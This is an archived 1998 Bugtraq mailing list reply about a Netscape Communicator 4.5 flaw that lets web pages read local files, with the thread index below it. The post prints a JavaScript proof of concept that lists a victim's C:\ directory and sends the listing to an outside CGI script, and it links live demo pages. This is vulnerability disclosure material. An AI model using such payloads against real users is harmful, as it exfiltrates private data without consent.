Bugtraq mailing list archives
Re: Netscape Communicator 4.5 can read local files
From: teichmann () TECMATH DE (Michael Teichmann)
Date: Thu, 26 Nov 1998 12:31:35 +0100
I've whipped up a couple of demos of this bug that send the contents to a cgi. There is a windows version that I know works, and a unix version I can't test because my linux box is down (it's a hardware thing). This is for anyone who has doubts.... http://www.kics.bc.ca/~trev/cgi-bin/test.html (Windoze) http://www.kics.bc.ca/~trev/cgi-bin/test-unix.html (UNIX) And yes, it can email it to you if you like :)
And if you wish, it can even read your directory structure: (works for Win, but Unix should be straightforward) //slight change of Trev's script: <SCRIPT> alert("List your files in C:\\ and it will be sent to a cgi script."); sl=window.open("wysiwyg://1/file:///C|/"); sl2=sl.window.open(); sl2.location="javascript:s='<SCRIPT>b=\"\";var f = new java.io.File(\"C:\\\\\\\\\"); var fl=f.list(); i=0; while(i < fl.length) {b += fl[i]+\"\\\\n\"; i++;}w=window.open(\"http://www.kics.bc.ca/~trev/cgi-bin/query_string.cgi?\"+escape(b));</'+'SCRIPT>'"; </SCRIPT> At least it seems it can not *write* to local files, I get a security exception when I try that.
Current thread:
- Re: Netscape Communicator 4.5 can read local files, (continued)
- Re: Netscape Communicator 4.5 can read local files Ben Collins (Nov 25)
- APC PowerNet SNMP Adapter Security Issues - Beta Firmware Paul Mansfield (Nov 25)
- Re: Netscape Communicator 4.5 can read local files Pavel Kankovsky (Nov 25)
- Re: Netscape Communicator 4.5 can read local files Terence Christopher Haddock (Nov 25)
- Re: Netscape Communicator 4.5 can read local files Ben Collins (Nov 25)
- Re: Netscape Communicator 4.5 can read local files Terence Christopher Haddock (Nov 25)
- XFree86 3.3.3 Released Aleph One (Nov 25)
- Re: Netscape Communicator 4.5 can read local files Trev (Nov 25)
- Re: Netscape Communicator 4.5 can read local files Ben Collins (Nov 25)
- Re: Netscape Communicator 4.5 can read local files kpm (Nov 25)
- Re: Netscape Communicator 4.5 can read local files Sven Carstens (Nov 25)
- Re: Netscape Communicator 4.5 can read local files Michael Teichmann (Nov 26)
- Re: Netscape Communicator 4.5 can read local files Trev (Nov 27)
- Java Redirect Bug - Netscpape 4.0[678] and 4.5 Keith Woodard (Nov 27)
- ipfwadm has pseudo-DoS ;) Domas Mituzas (Nov 28)
- Debian: Security flaw in FSP Vanja Hrustic (Nov 28)
- Debian: Security flaw in FSP David Damerell (Nov 30)
- RSI.0010a.11-29-98.IRIX.AUTOFSD RSI Advise (Nov 29)
- Re: Netscape Communicator 4.5 can read local files Todd C. Campbell (Nov 30)